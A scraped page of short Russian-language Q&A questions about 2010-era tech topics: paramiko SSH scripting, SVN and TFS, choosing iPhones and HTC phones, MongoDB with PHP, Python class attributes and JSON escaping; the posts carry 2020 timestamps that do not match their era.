    Передо мной стоит следующая задача — создать SSH соединение с сервером, залить по SFTP файлы (конкретно — сорцы) и запустить там скрипт сборки.

    Делаю это на Python с помощью paramiko. Все ок кроме собственно запуска скрипта. Запускаю его через exec_command и вижу только пару первых сообщений и далее скрипт прекращается (именно питоновский, значит exec_command отработал). Подскажите — как правильно подождать завершение работы скрипта и вывести все его сообщения?


    Вот вырезки из кода:
    paramiko.util.log_to_file('ssh_session.log')
    ssh = SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    try:
        ssh.connect(ssh_conf.server_address, ssh_conf.server_port, ssh_conf.login, None, my_pkey, 60)
    except:
        print 'Error connect'
        sys.exit(1)
    
    _sftp = ssh.open_sftp()
    SyncFolders(_sftp, ssh_conf.source_folder, ssh_conf.dest_folder)
    
    print ssh.exec_command('chmod +x' + ssh_conf.dest_folder + '/build.sh')[1].read()
    # iOrange - performing build
    print ssh.exec_command('sh ' + ssh_conf.dest_folder + '/build.sh')[1].read()

    Python   SSH    

    366   1   05:19, 6th August, 2020


    Какой телефон выбрать?

    Хочу завтра купить новый телефон, сменить свою нокиа е52 на что-то новое, смотрю в сторону iPhone 4 или HTC HD2.

    Может кто-то еще чего-либо поинтереснее подскажет или пару аргументов подбросит?

    iPhone   HTC    

    412   20   11:25, 23rd August, 2020


    Найти userscript, который отключает подгрузку изображений и скриптов с закешированного гуглем сайта?

    На хабре как-то проскакивал скрипт для greasemonkey, который при открытии кеша гугля отключает загрузку изображений, скриптов и прочего с закешированного сайта. Открывается только контент прямиком с гугля.

    Сегодня, когда ддосили хабр, такого скрипта очень не хватало. Найти теперь не могу, подскажите название или сразу ссылку.

    Greasemonkey    

    365   1   08:07, 20th August, 2020


    Чат между Android и iPhone

    Кто подскажет сервис для «чаттинга» двух человек, у одного — Android, у другого — iPhone.

    Нужна программа с многозадачностью на iPhone. (Или Push-уведомлениями)

    iPhone   Android   Чаты    

    277   5   03:14, 5th August, 2020


    [maven] использование отсутствующей в репозиториях библиотеки

    Доброго времени суток…
    Хочу сделать на Java приложение с веб интерфейсом на основе JWT (http://www.webtoolkit.eu/jwt),
    при этом в качестве системы сборки использовать maven. Но столкнулся с тем, что JWT в его репозиториях нету, поэтому вопрос — как можно добавить вручную библиотеку к проекту на maven? Если это имеет значение, то IDE — NetBeans 6.9.1

    Java   Apache   Maven   NetBeans   JSON   Web   Token    

    387   3   16:11, 6th August, 2020


    Порекомендуйте SVN сервер. Не очень дорогой, но надежный

    По возможности не в Украине.

    SVN сервер нужен не лично мне, а фирме на которую я работаю.

    Цель найти дешевле чем выделенный сервер.

    Потому что держать SVN в Украине (что сейчас и происходит) накладывает свои ограничения. Потому что были случаи конфискации серверов. И при этом останавливалась работа. Нужно исключить данные случае в будущем.

    Subversion   SQL   Server    

    353   4   11:34, 19th August, 2020


    Актуальная прошивка для IPhone 3g?

    Доброго времени суток. 5 лет пользовался симбиан-смартфонами и вот попал ко мне в постоянное пользование разлоченный IPhone 3g с прошивкой 4.0.2. и с жууткими тормозами. Подскажите, какую, на Ваш взгляд, актульную прошивку можно установить для такого аппарата. Если не трудно, поделитесь полезными ссылками по теме.

    Спасибо.

    iPhone   Прошивка    

    235   5   22:15, 19th August, 2020


    json_encode в PHP: разрастание данных

    В PHP есть встроенные средства преобразования данных в json. Рассмотрим пример:

    echo json_encode(iconv('cp1251', 'utf-8', 'тест'));

    Он вернет "\ u0442\ u0435\ u0441\ u0442" (пробелы дабы не искушать парсер) — это 26 байтов, а вовсе не 10, как хотелось бы.

    Как же так?

    PHP   JSON    

    265   4   07:54, 13th August, 2020


    Виртуализация для Mac os — что выбрать?

    Опытные хабраюзеры посоветуйте, что использовать для виртуализации под мак?


    Vmware Fusion

    Parellels


    В первую очередь интерисует производительность виртуализации Windows XP

    Виртуализация   VMware   Fusion   Parallels   Desktop    

    348   13   13:35, 28th August, 2020


    Виртуализация, опять-таки — есть ли готовые инстансы W7, XP, etc?

    Лень ставить с нуля, иногда сношу (со злости). Поставил W7 под Parallels — не всё так радужно оказалось на предпоследнем эдишне MBPro с самой простой видухой и 8 гигами памяти. Вот щас никак руки до установки XP не дойдут. Я находил вроде бы на Virtual PC сайте инстансы старинных систем, вот было бы хорошо, если бы существовало подобное для современных систем.

    Виртуальная   машина   VMware   Workstation   Parallels   Desktop    

    350   3   06:13, 14th August, 2020


    Можно ли получать push-уведомления на iPhone со своего сайта?

    Не важно через какую программу, и каким способом (новым письмом, пингом, как RSS) главное чтобы можно было получать нужные сообщения в течение минуты-двух.

    iPhone    

    254   4   11:51, 9th August, 2020


    Symfony routing.yml, генерация URL

    Всем привет есть 2 модуля
    company и post,
    post описан так:

    post:
    class: sfDoctrineRouteCollection
    options: { model: BlogPost }


    Не совсем понимаю как составить роут таким образом, что бы получить урл вида:
    /company/24/mycompany/show/post/13

    Если делать так (работать не будет конечно же):

    post_new:
    url: /company/:id/:title/show/:post/:post_id
    param: { module: company, action: show }
    class: sfDoctrineRoute
    options: { model: BlogPost }


    То тут можно указать только 1 модель, а как сделать так, что бы в генерации урла использовались 2 модели?

    Спасибо.

    Symfony    

    279   1   21:59, 27th August, 2020


    Какой телефон выбрать?

    Выбираю между iPhone 3G\3GS, HTC HD2 и HTC Desire. Нахожусь в лёгком замешательстве — что выбрать… Одинаково отношусь и к Android, и к WinMo, iOS не юзал вообще.

    Вот. Прошу вашего совета :)

    iPhone   HTC    

    335   9   19:30, 11th August, 2020


    Ноутбук для видео монтажа с Canon 7D\5D mark II?

    Добрый вечер!

    В последнее время съёмки долгие и не дома, поэтому разыскивается верный друг, который будет хранить весь материал и позволит смонтировать его в риалтайме (проще говоря — воспроизведение проекта без лагов).
    1) Софт: Adobe Premiere CS5 (он вроде пока лучше всех понимает исходные форматы с этих зеркалок)
    2) Сумма: до 100т, но чем меньше — тем лучше. Естественно, купив ноут за 100т, всё будет летать, но я не собираюсь на нём делать ничего сложнее того о чём написал в заголовке, поэтому не думаю что такие растраты целесообразны.
    3) Желательно услышать советы от тех, кто это проверял на практике и кто доволен результатом, но и теоретики тоже могу высказать свои предположения.
    4) Только сегодня узнал про технологию CUDA в Premiere CS5, официально поддерживается несколько карт Quadro и GeForce GTX 285, что исключает возможность найти ноутбук который поддерживал бы эту технологию, но в этом посте говорится о том как можно обмануть CS5, но тут опять же нужны люди которые уже делали это и точно могут сказать что их карта поддерживает эту технологию и прирост существенен.

    IIS   Canon   CUDA   Adobe   Photoshop   Adobe   Premiere    

    302   5   08:52, 11th August, 2020


    [TFS + git] как прикрутить git к TFS и ничего не сломать?

    Доброго времени суток…
    С одной стороны имеется TFS репозиторий, с которым мне надо работать, а с другой я хочу иметь локальный git репозиторий и локально работать с ним так, чтобы при коммите в master изменения накатывались на мою локальную копию с TFS, и можно было бы их коммитить уже на TFS. Ну и чтобы при обновлении в git, он обновлялся с локальной копии файлов, обновленных с TFS.
    Так же подойдет любой другой способ прикрутить git к TFS, главное, чтобы ничего не сломать на TFS…
    Заранее спасибо…

    Git   Team   Foundation   Server    

    366   1   20:02, 4th August, 2020


    windows клиенты svn и git

    Подскажите лучшие бесплатные клиенты под windows, желательно с интеграцией в проводник/IDE.
    Нужно подсадить молодых разрабов на контроль версий.

    Git   Subversion    

    276   6   21:42, 8th August, 2020


    Чем отправить iPhone из Лондона в Россию?

    Друг находится в Лондоне и может купить iPhone (дешевле чем в России). Какой службой можно доставить его в Россию? Насколько это безопано? Сколько примерно будет стоить? Какие будут дополнительные сборы (таможенные и т.д.)?

    iPhone    

    353   3   18:25, 1st August, 2020


    Куда идти после php? Ruby или Python?

    Собственно вопрос в заголовке :) Хочется услышать принципиальные различия между языками. Для каких задач что лучше подходит?

    Ruby   PHP   Python   Веб-разработка    

    536   27   18:52, 15th August, 2020


    amazon ec2 : как использовать AMI который есть в USA в зоне EU

    Есть конкретный инстанс AMI который рекомендован поставщиком услуг(wavemaker.com)
    Однако данный AMI доступен только для USA
    Как быть?

    Amazon   Web   Services    

    325   1   23:29, 25th August, 2020


    JailBreak для iPhone 4

    Где можно подписаться на RSS, что бы узнать о выходе JailBreak для iPhone 4 c iOS 4.1 сразу по мере его появления? (На каком сайте публикуется достоверная, надежная информация по данному вопросу?)
    Дело в том, что девайс изначально был с прошивкой 4.0.2, а способ даунгрейда на 4.0.1 не работает для iPhone 4 — поэтому жду JailBreak для 4.1.
    P.S. Всем ответившим большое спасибо.

    iPhone   iOS    

    425   5   13:13, 17th August, 2020


    XP как маршрутизатор (решено) / ssh-туннель, VPN и айфон

    Недавно поменял себе стабильный, но сравнительно медленный интернет по ADSL на более быстрый и более дешевый интернет по витой паре (впрочем, от того же провайдера). До этого на все компьютеры в доме интернет исправно раздавал себе ADSL модем/маршрутизатор. Сейчас пытаюсь настроить для этого старый ноутбук с XP.

    Интернет подключается через стандартное «высокоскоростное подключение, запрашивающее имя пользователя и пароль». Пока на ноутбуке стоит 3proxy с http/socks, но хотелось бы избавиться от необходимости прописывать адрес прокси в программах.

    Насколько я понимаю, в настройках подключения по локальной сети на других компьютерах можно указать «основной шлюз». Подскажите, что нужно сделать на ноутбуке, чтобы поставить его этим самым основным шлюзом на всех остальных устройствах?

    image

    P.S. Благодарю за ответы, проблема решена.

    P.P.S. Пользуясь случаем, второй вопрос можно?


    Там же на ноутбуке через PuTTY настроен ssh-туннель на штаты и socks-сервер, который туда при необходимости остальные компьютеры направляет.

    Хочется возможности быстрого переключения обычный интернет/штатовский на айфоне. На нём можно прописывать прокси в настройках Wi-Fi, но каждый раз залазить и писать вручную — неудобно.

    Быстрый способ, например, — тумблер VPN. Собственно, VPN-соединение с ноутбуком айфон устанавливает — на компьютере настроено входящее подключение, и при соединении пишется об 1 подключенном клиенте.

    image

    image

    Есть ли способ заставить это VPN-подключение брать интернет у socks-сервера от PuTTY и отдавать айфону? Или можно ли установить туда какой-нибудь другой VPN-сервер, который это умеет?

    iPhone   SSH   VPN   Windows   Сетевое   администрирование    

    403   3   21:12, 15th August, 2020


    CSS font-size для свойства text-overlflow?

    Попробовал верстать под мобильные устройства, нужно чтобы слово, не помещающееся по ширине блока, не переносилось, а подгонялось по ширине(уменьшался размер шрифта). Может есть какие-то хитрости?

    iPhone   CSS   Шрифты    

    304   2   20:28, 17th August, 2020


    Снизить обороты HDD (уменьшить шум)?

    Есть ли утилиты для снижение шумности хдд?

    Сегейт, самсунг.

    Жёсткие   диски   Client   side   optimization    

    522   7   23:41, 19th August, 2020


    Как сделать инвайты на Rails 3

    Типичная проблема: нужно сделать систему создания, отправки и валидации инвайтов для пользователей на рельсах.
    Используется Authlogic.
    Погуглил — ничего сразу не нашлось, а писать велосипед самому всегда успеется.

    Ruby   on   Rails    

    258   2   11:05, 29th August, 2020


    Клиент постоянно требует консультаций(бесплатных), как быть?

    Сначала на этапе разработки сайта клиент постоянно мучал вопросами о сайте, о движке, о хостинге. Причём явно было видно что ему эти ответы нужны просто так, для интереса. Человек совершенно в этом всём не разбирается. Теперь когда настало время поисковой оптимизации клиент вообще залез на шею с вопросами «а почему так, а почему не так, объясните мне что вы делаете, зачем вы это делаете, как вы это делаете...». При попытке отказать в ответе получаешь кучу криков вида «Я ваш клиент, я деньги плачу! Я хочу знать что происходит с моим сайтом!». Сейчас на все эти разговоры тратится около 2х — 3х часов в день. Естественно, за это время никто и не думает ничего платить. Вот мне интересно, уважаемое хабрасообщество, как вы реагируете на такие случаи?

    Организация   работы   Client   side   optimization    

    339   10   00:45, 7th August, 2020


    Оптимизация формы выдачи новостей, повредит или поможет сайту?

    Сейчас на сайте около 300 новостных статей, собранных за несколько лет работы сайта.

    Новости выводятся как www.mysite.com/news.php?id=299

    Хочу сделать по-уму: www.mysite.com/news/my-mega-novost.htm

    Технически я знаю как это сделать, вопрос не в том.


    Хотелось бы узнать вот что:

    1) Не повредит ли сайту такая рокировка с точки зрения поисковиков? Насколько я понимаю, сейчас все мои 300 статей проиндексированы как ?id=xxx.

    2) У меня будут работать оба метода вызова статьи. Получается дублирование контента, что по идее тоже плохо…

    Как в данной ситуации поступить грамотно? Читал про какую-то ошибку 303, но ничего не понял.



    [Amazon EC2] Можно ли установить Windows на Linux инстанцию (и меньше платить)?

    Собственно, задался таким вопросом: можно ли установить свой Windows (лицензионный) на Linux-инстанцию Amazon EC2? Смысл в том, что Linux-инстанция стоит почти в 2 раза меньше денег.

    Пробовал сделать так:

    1. Создал Windows-инстанцию. Остановил и отсоединил диск.
    2. Создал Линукс-инстанцию. Остановил и отключил диск.
    3. Подключил диск с установленным Windows (тот самый, который предоставляет Amazon) к Линукс-инстанции как /dev/sda1.
    4. Запустил Линукс-инстанцию (с замененным диском).

    В результате машина запустилась, но подключиться по RDP или к Web-серверу не удалось (все нужные порты были открыты). Т.е., скорее всего, Windows не смогла запуститься, но как об этом узнать, ведь доступа по VNC нет…

    Почему не запустилась — не понятно… Может для Линуска у них другая конфигурация машины?

    Придумал другой способ: использовать Windows AIK для создания диска, с которого можно установить Windows автоматически. Но не уверен что это сработает.

    Может кто уже занимался этим вопросом и может поделиться опытом?

    Amazon   Web   Services    

    255   2   22:31, 7th August, 2020


    Интернет сервисы для kindle 3?

    Вот решил создать вопрос. Думаю будет полезен не только мне.


    У Kindle есть возможность получать все книги и статьи отправленые на почту типа name@[free.]kindle.com, что позволяет загружать свежую информацию везде где есть интернет.


    Нашел в сети instapaper.com — неплохая штука, можно отмечать стать для последуещего прочтения и скидывать их на читалку. Правда автоматически (у меня почему-то автоматом вообще не шлет) он это делает максимум раз в сутки и в неизвестное время. Если б время и частоту можно было бы задавать самому то было б вообще супер.


    Кто еще какими сервисами пользуется?

    Amazon   Kindle    

    345   3   11:59, 17th August, 2020


    Изучение платформы SharePoint 2010

    Доброе время суток!

    Хочу разработать корпоративный портал фирмы на базе SharePoint 2010. Есть установленный Windows Server 2008 c ролями DNS и DHCP. Но тестировать на нем как-то не хочется, ибо последствия могут быть весьма печальными. К счастью имеется VmWare Workstation 7 на моей машинке.
    Скачал SharePoint Foundation 2010, а также все необходимые Prerequisites для SharePoint 2010. Так как SharePoint Foundation 2010 требует только 64-битной версии Windows Server 2008, начал искать образы на виртуальную машину. К сожалению, на VmWare образы не нашел. Скачал с сайта Microsoft trial образы Windows Server 2008 (VDH). Открыть их можно только в Hyper-V, который ставится на Windows Server 2008.
    Замкнутый круг: чтобы запустить программу А, необходима программа Б, а чтобы запустить Б, необходима А.

    Операционная система — Windows XP.

    Каким образом можно все-же запустить Windows Server 2008 64-bit под Windows XP? Не знаете ли вы, есть ли образы Windows Server 2008 для WmWare? Или простые trial ISO образы сервера?

    P.S. К сожалению второй машины нет, а то настроил бы там все.

    SharePoint   VMware   Workstation   Windows   Server    

    318   1   22:10, 3rd August, 2020


    проблема с svn copy, ошибка: RA layer request failed svn: Server sent unexpected

    я предполагаю что это параметры доступа не пропускают команду.
    но все же, кто знает, подскажите что вызывает эту проблему и как её решить.
    полный текст ошибки выглядит так(из логов subclipse):
    RA layer request failed
    svn: Server sent unexpected return value (403 Forbidden) in response to COPY request for '/svn/site-www/!svn/bc/201/trunk'

    CVS   Subversion    

    325   1   14:19, 17th August, 2020


    Подскажите книгу по Python'у

    Профессионально пишу на PHP, хочу попробовать и возможно в дальнейшем перейти на Python.
    Посоветуйте наиболее полную и подробную книгу, желательно на русском и желательно доступную в электронном варианте.

    Python   Книги    

    342   6   05:01, 26th August, 2020


    Посоветуйте зеркалку, пожалуйста

    Есть 50т.р., хочется зеркалку.

    Тушку + оптику отдельно. Только canon. Был 1000d, я из него вырос. Есть оптика портретник canon 50 1.8.
    Вспышку не надо, только тушка и оптика.

    Фотать буду портрет, пейзаж, просто фотки обычные, постановочные. Никакого спорта, репортажей и т.д.

    Canon   Фотографии   Фотоаппараты    

    316   11   19:12, 4th August, 2020


    python, применение locale.setlocale

    Есть два хоста, один с серверной Ubuntu 10.04, второй — с Linux Mint Rosinka 8.
    Есть python-скрипт, парсящий html, передающий GETом данные в форму и проч.
    На хосте с Ubuntu скрипт работает, на хосте с Mint — нет, т.к. махинации с кириллическими символами почему-то уже не срабатывают.
    Единственная важная (имхо) разница между хостами — локаль:
    LANG=ru_RU.UTF-8 — на Mint
    LANG=en_US.UTF-8 — на Ubuntu
    Пробовал добавить в скрипт на минте
    import locale
    locale.setlocale(locale.LC_ALL, "en_US.UTF-8")
    ,
    но никакого толку.
    В питоне не эксперт, выбрал его для того скрипта просто интереса ради. Еле победил кириллицу на убунтовском серваке, а тут дальше такой факап…
    Может, кто сталкивался с подобным?

    Python    

    270   1   03:36, 15th August, 2020


    Вопрос про SVN?

    У меня есть репозитории, их много, есть очень большие, содержащие видео файлы. При переименовании таких больших папок в этих репозиториях через TortoiseSVN, очень грузится система.
    Как решить эту проблему?

    В официальной документации на Subversion мне лично так и не удалось найти информации по механизмам переименования.
    Где подсмотреть?

    CVS   Subversion   Видео    

    311   5   21:56, 5th August, 2020


    Python и COM-объекты?

    1

    Запускаем в PythonWin — > Tools — > COM Browser — >

    смотрим название интересующей нас библиотеки в «Registered Type Libraries» — >


    запускаем python.exe — >
    &gt;&gt;&gt; import win32com.client.makepy as makepy<br/>
    &gt;&gt;&gt; makepy.ShowInfo('название интересующей нас библиотеки, которое мы нашли в Registered Type Libraries')


    — > ура! он нам сгенерит модуль, который поместит в специальную папку <module 'win32com.gen_py.название-модуля-из-большого-количества-букв-и-цифр' from 'C:\Python26\lib\site-packages\win32com\gen_py\название-модуля-из-большого-количества-букв-и-цифр'>


    И этот модуль, с большущим, неимпортируемым названием, реально появится в той папке — .../gen_py

    А вопрос вот в чем. Что с этим модулем можно сделать дальше? И, соответственно — как?

    2

    С помощью win32com.client.Dispatch('название-чего-то') мы можем обращаться к интерфейсам, которые указаны в спецификациях. И делать с ними то, что там указано.


    Однако, если мы не знаем «названия-этого-чего-то» — как найти и использовать то, что нам позволяет делать запущенный и действующий сервер COM-объектов?

    Интересует конкретно — как обратиться к интерфейсам?

    По сути оба вопроса об одном и том же — два дня пытаюсь что-то сделать, но идеей пока не проникся.

    Component   Object   Model    

    390   1   17:52, 16th August, 2020


    Где "обитают" Iphone Developerы?

    Потребовалось заказать разработку приложения по Iphone, а где найти разработчика не пойму.
    На фриланс не посылать

    iPhone   Веб-разработка    

    245   4   22:15, 9th August, 2020


    Разъясните нюанс в наследовании класов в Python?

    Есть такой код:

    <font color="black"><a href="http://s-c.me/9339/s">Copy&nbsp;Source</a>&nbsp;|&nbsp;<a href="http://s-c.me/9339/h">Copy&nbsp;HTML</a><ol>
    <li><font color="#008000">'''</font><br/>
    <font color="#008000">Базовый&nbsp;класс</font><br/>
    <font color="#008000">'''</font></li>
    <li><font color="#0000ff">class</font> <font color="#cc6633">Component</font>():</li>
    <li>&nbsp;</li>
    <li>&nbsp;&nbsp;&nbsp;&nbsp;connects = []</li>
    <li>&nbsp;</li>
    <li>&nbsp;&nbsp;&nbsp;&nbsp;<font color="#008000">'''</font><br/>
    <font color="#008000">&nbsp;&nbsp;&nbsp;&nbsp;Метод&nbsp;добавляе&nbsp;объект&nbsp;в&nbsp;коллекцию</font><br/>
    <font color="#008000">&nbsp;&nbsp;&nbsp;&nbsp;'''</font></li>
    <li>&nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">def</font> <font color="#cc6633">connect</font>(self, object):</li>
    <li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>self</b>.connects.append(object)</li>
    <li>&nbsp;</li>
    <li>&nbsp;</li>
    <li><font color="#008000">'''</font><br/>
    <font color="#008000">Подкласс&nbsp;1</font><br/>
    <font color="#008000">'''</font></li>
    <li><font color="#0000ff">class</font> <font color="#cc6633">Component1</font>(<font color="#cc6633">Component</font>):</li>
    <li>&nbsp;</li>
    <li>&nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">def</font> <font color="#cc6633">getData</font>(self):</li>
    <li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">print</font> <font color="#008000">123</font></li>
    <li>&nbsp;</li>
    <li>&nbsp;</li>
    <li><font color="#008000">'''</font><br/>
    <font color="#008000">Подкласс&nbsp;2</font><br/>
    <font color="#008000">'''</font></li>
    <li><font color="#0000ff">class</font> <font color="#cc6633">Component2</font>(<font color="#cc6633">Component</font>):</li>
    <li>&nbsp;</li>
    <li>&nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">def</font> <font color="#cc6633">getData</font>(self):</li>
    <li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">print</font> <font color="#008000">123</font></li>
    <li>&nbsp;</li>
    <li>&nbsp;</li>
    <li>&nbsp;</li>
    <li><font color="#008000">'''</font><br/>
    <font color="#008000">Инстанцируем</font><br/>
    <font color="#008000">'''</font></li>
    <li>c1 = <font color="#cc6633">Component1</font>()</li>
    <li>c2 = <font color="#cc6633">Component2</font>()</li>
    <li>&nbsp;</li>
    <li><font color="#008000">'''</font><br/>
    <font color="#008000">Проверяем&nbsp;кол-во&nbsp;элементов&nbsp;в&nbsp;подклассе&nbsp;2</font><br/>
    <font color="#008000">'''</font></li>
    <li><font color="#0000ff">print</font> <b>len</b>(<font color="#cc6633">Component2</font>.connects) <font color="#696969">#&nbsp;0</font></li>
    <li>&nbsp;</li>
    <li><font color="#008000">'''</font><br/>
    <font color="#008000">Добавляем&nbsp;первому&nbsp;подклассу&nbsp;в&nbsp;объект&nbsp;коллекцию</font><br/>
    <font color="#008000">'''</font></li>
    <li>c1.<font color="#cc6633">connect</font>(c2)</li>
    <li>&nbsp;</li>
    <li><font color="#008000">'''</font><br/>
    <font color="#008000">Проверяем&nbsp;кол-во&nbsp;элементов&nbsp;в&nbsp;подклассе&nbsp;2</font><br/>
    <font color="#008000">'''</font></li>
    <li><font color="#0000ff">print</font> <b>len</b>(<font color="#cc6633">Component2</font>.connects) <font color="#696969">#&nbsp;1&nbsp;</font></li>
    </ol></font>



    Почему меняется кол-во элементов в коллекции второго объекта, если я добавляю элемент к коллекции первого объекта?

    Python    

    350   3   10:24, 5th August, 2020


    PHP — как cоединяться с Mongo по требованию (отложенно)?

    Модуль для работы с Mongo, входящий в комплекс поставки PHP предоставляет возможность соединяться с сервером не сразу — позволяя выбрать базу и коллекцию без установки соединения. Для этого есть вот такая конструкция:

    $mongo = new \Mongo (MONGO_SERVER, array ("connect" => false));

    Однако для того, чтобы выполнить любое действие с данными необходимо прежде вызвать $mongo->connect ().

    В связи с чем возник вопрос — быть может уже есть готовое решение, некий слой для работы с Mongo наподобие Zend_Db или Rediska, где это уже реализовано?

    Соединяться каждый раз — бессмысленно, изобретать велосипед — тоже не хочется, обратился к коллективному разуму :-)

    PHP   MongoDB    

    317   6   12:19, 1st August, 2020


    iPhone не видит сетевой USB адаптер

    iPhone 3g не реагирует на подключение зарядного сетевого USB адаптера (китайского). Причем адаптер нормально заряжает другие устройства и выдает нормальный вольтаж. USB шнур вроде тоже в порядке, с ноутбука заряжает нормально. В чем может быть причина?

    iPhone   USB   Зарядное   устройство    

    300   3   18:19, 23rd August, 2020


    MongoDB хостинг в России уже есть?

    Собственно интересует есть ли аналоги mongohq.com и хостинги поддерживающие MongoDB расширения под разные языки?

    MongoDB    

    349   3   00:18, 11th August, 2020


    Вызов сохраненных JavaScript функций в MongoDB из PHP

    Имеем функцию сохраненную в db.system.js с именем AutoID

    function (n,o) {
    x = db.getCollection(n);
    while( 1 ) {
    var c = x.find({},{id:1}).sort({id:-1}).limit(1);
    var i = c.hasNext() ? c.next().id + 1 : 1;
    o.id = i;
    x.insert(o);
    var err = db.getLastErrorObj();
    if( err && err.code ) {
    if( err.code == 11000 /* dup key */ )
    continue;
    else
    print("unexpected error inserting data: " + tojson(err));
    }
    break;
    }
    }


    Из консоли все работает замечательно

    db.eval("AutoID('Users',{'name':'Tenkoff'})");

    А вот как вызвать это чудо в PHP так и не понял, может кто объяснить/показать?

    MongoDB    

    351   1   21:06, 1st October, 2020


    Вопрос по настройке билдов в TFS 2010

    Помогите новичку.

    Есть solution, в котором есть web-проект, проект с логикой и проект базы данных. И есть три вопроса по настройке билдов.

    1) Как сделать так, что бы при билде на тестовый сервер заменялись ConnectionString в web.config с локальной базы разработчиков на тестовую?
    2) Как сделать deploy проекта базы данных при каждом билде?
    3) Где вообще можно подробно обо всем этом почитать? Желательно на русском.

    Team   Foundation   Server   SQL   Server    

    323   1   01:15, 9th August, 2020


    Стоит ли использовать Mongo?

    Приветствую!

    В последнее время все чаще слышу упоминания про NoSQL и MongoDB в частности. Тема меня заинтересовала, но вот пока не могу найти интересующей меня информации, поэтому спрошу здесь — наверняка уже многие успели поэкспериментировать, а может и разработать серьезные высоконагруженные приложения в связке с MongoDB.
    Заранее предупрежу, если где-то я ошибся в отношении MongoDB — я не специально. Просто я с ней еще даже не пытался работать, а лишь почитывал статьи на Хабре, да те примеры, что лежат на оф.сайте.

    Сейчас я занимаюсь разработкой тизерной сети. Задача, на первый взгляд кажущаяся тривиальной, на деле выходит довольно хитровыделанной в плане организации структуры БД. Огромное кол-во связей, множество таблиц-посредников для связей М-М и т.д… Чем меня привлекла идея MongoDB, так это своим принципом построения связей. Вопрос №1:
    действительно ли работа с МонгоБД при наличии кучи связей менее затратна в плане ресурсов? Ну, хотя бы на простейшем примере (буду писать на «псевдо SQL») — выборка из 2 таблиц, связанных отношением М-М через промежуточную таблицу:
    table sites(
    id int primary key auto_increment,
    url varchar
    )

    table categories(
    id int primary key auto_increment,
    name varchar
    )

    table sites_categories(
    site_id int,
    category_id int
    )

    Задача вывести список сайтов и категорий, в которых он есть:

    SELECT * FROM sites

    while(SITE = mysql_result...)
    {
    //отображаем данные сайта
    SELECT * FROM categories WHERE id IN (SELECT category_id FROM sites_categories WHERE site_id = SITE)
    //в цикле отображаем категории
    }

    Также меня интересует, можно ли работать одновременно с MySQL и MongoDB? Вернее, насколько это будет правильно? Полностью переносить БД на Монго не хочется, лишь отдельные, особо-хитрые участки, нагрузка на которых выше, чем хочется.

    Также читал, что в MongoDB можно беспроблемно хранить файлы — действительно ли это так и что же будет лучше — хранить по-старинке в специальной папке с подкаталогами по именам/ид пользователей, или использовать MongoDB? (допустим, при таком раскладе: пользователей около 1к, у каждого 40-50 небольших картинок. картинки отдаются в кол-ве примерно 100-150 в минуту.

    P.S.: прошу прощения за возможные неточности в вопросах, излишнюю или недосказанную информацию о нуждах и текущем положении дел, разработка структур БД — не мое основное достоинство…

    MySQL   NoSQL   MongoDB    

    467   6   15:25, 18th August, 2020


    Хотелось бы помощи от разработчиков под Windows phone 7?

    В приложении, используя класс HttpWebRequest и Uri «https://google.com», при попытке получить HttpWebResponse вываливается WebException {«The remote server returned an error: NotFound.»}. И такая история со всеми https сайтами.



    Что может быть не так?

    Windows   Phone    

    291   2   01:28, 21st August, 2020


    Как убрать вертикальные отступы у <button> в Safari на iPhone?

    В Mobile Safari(прошивка 4.0.1) у <button>'а отступы по краям от текста, паддинги обнулены, -webkit-appeareance:none работает в обычном(десктопном) Safari, но не в мобильной версии. Может кто сталкивался?

    пример

    button {<br/>
     background:pink;<br/>
     border:none;<br/>
     border-radius:5px;<br/>
     color:black;<br/>
     cursor:pointer;<br/>
     font-size:150%;<br/>
     margin:0;<br/>
     padding:0;<br/>
     position:relative;<br/>
     top:30%;<br/>
     text-shadow:0 0 1px white;<br/>
     overflow:visible;<br/>
     -webkit-appearance:none;<br/>
     -webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.5);<br/>
    }<br/>


    sample.jpg

    iPhone   Safari    

    523   1   21:54, 16th August, 2020


    Синхронизация заметок с gmail аккаунтом на iOS 4.1

    После обновления айфона 3ж на iOS 4.1, пропала функция синхронизации заметок с gmail аккаунтом. Можно ли как нибудь исправить этот момент и вернуть всё как было в 4.0.х?

    Google   iPhone   Gmail   Синхронизация   данных   Заметки    

    305   2   05:52, 24th August, 2020


    Как работать с постоянно изменяющейся базой в системе контроля версий?

    Используем subversion, MySQL, NetBeans.


    Хотелось бы чтобы окромя кода база тоже находилась бы в svn. База проекта обновляется достаточно часто. Как с наименьшими трудозатратами обновлять, фиксировать и т.п. таблицы, процедуры, вьюшки и т.п.?

    MySQL   Subversion    

    409   6   18:15, 29th August, 2020


    Оплата подрядчику с помощью Webmoney

    Я юр.лицо и мне периодически приходится платить подрядчикам (фрилансерам) за оказанные услуги. Большинство из них просят перевести деньги не на расчетный счет в банке, а на WMR. Может быть кто-то имел опыт работы с Webmoney как юр.лицо. Как можно правильно и законно оформить WMR кошелек на юр.лицо и при этом, чтобы по бухгалтерии всё было в порядке? Какие тонкости в договоре?



    аналог target-densitydpi=device-dpi для iPhone 4

    У андроида есть чудный мета-таг для viewport, который выключает масштабирование для дисплеев с высоким разрешением.

    Есть ли что-либо подобное для айфонов с Retina Display? Я знаю, что можно подключать альтернативные стили используя media query, но при этом в Javascript screen.width & screen.height всё равно возвращают масштабированные значения.



    Безопасно ли вставлять JSON в HTML

    Безопасно ли вставлять JSON со строками, полученными от пользователя, непосредственно в код страницы через тег script? Нельзя ли при этом с помощью специальных html-последовательностей нарушить JSON, сделав XSS? JSON генерируется PHP-функцией json_encode.

    Пример.

    $queryData = json_encode(array('query' => isset($_GET['query']) ? $_GET['query'] : '', ...));


    Шаблон страницы:
    <script type="text/javascript">
    
    <?php echo 'var queryData = ' . $queryData . ';' ?>
    
    </script>

    HTML   JSON   XSS    

    338   3   04:05, 5th August, 2020


    Как вывести с Webmoney сумму более 100 тыс рублей?

    Как лучше вывести крупную (от 100 000 руб) сумму с вебмани?

    Какую карточку и где лучше завести?

    Не передаст ли банк информацию в налоговоу службу?

    WebMoney    

